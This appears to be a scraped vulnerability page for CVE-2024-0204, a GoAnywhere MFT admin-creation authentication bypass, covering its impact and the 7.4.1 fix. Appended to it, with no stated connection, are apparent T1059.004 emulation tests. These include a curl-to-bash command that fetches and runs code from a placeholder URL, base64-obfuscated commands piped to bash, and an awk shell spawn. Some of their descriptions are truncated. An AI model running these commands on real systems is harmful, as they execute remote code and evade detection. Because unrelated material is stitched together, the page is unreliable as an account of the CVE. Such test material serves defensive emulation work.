CVE-2024-0204

CRITICAL EXPLOIT POC TTE Zero-Day Pub 22/01 Upd 30/05

Overview

This vulnerability is an authentication bypass affecting Fortra GoAnywhere MFT's administration portal prior to version 7.4.1. The root cause lies in improper access control validation within the administrative user creation functionality, allowing unauthorized requests to bypass authentication checks. The affected component is the web-based administration interface responsible for managing user accounts, specifically the mechanism that handles admin user creation requests.

Vulnerability Description

Authentication bypass in Fortra's GoAnywhere MFT prior to 7.4.1 allows an unauthorized user to create an admin user via the administration portal.

Impact

An unauthenticated attacker with network access to the administration portal can create new administrative user accounts, granting full control over the GoAnywhere MFT environment. This enables unauthorized access to sensitive data and administrative functions, potentially leading to data compromise, system manipulation, and lateral movement. The vulnerability requires no user interaction or prior authentication (AV:N/AC:L/PR:N/UI:N), making exploitation straightforward and highly impactful in operational environments.

Solution

Fortra has released a security update in GoAnywhere MFT version 7.4.1 that addresses this authentication bypass vulnerability. Administrators should upgrade all affected instances to version 7.4.1 or later as detailed in the vendor advisory FI-2024-001 (https://www.fortra.com/security/advisory/fi-2024-001). No alternative workarounds are specified; applying the official patch is the recommended remediation step to restore proper authentication enforcement in the administration portal.

cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
T1059.004 Environment variable scripts Linux Shell

Command (Shell) 
chmod +x #{linenum}
bash #{linenum}
T1059.004 New script file in the tmp directory Linux Shell
An attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which...
Command (Shell) 
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
T1059.004 Obfuscated command line scripts Linux Shell
An adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to...
Command (Shell) 
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
T1059.004 Shell Creation using awk command Linux, macOS Shell
In awk the begin rule runs the first record without reading or interpreting it. This way a shell can be created and used to break out from restricted environments with the awk command. Reference - https://gtfobins.github.io/gtfobins/awk/#shell

awk 'BEGIN {system("/bin/sh &")}'
T1059.004 Shell Creation using busybox command Linux Shell

if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
T1059.004 What shells are available Linux Shell

Command (Shell) 
cat /etc/shells
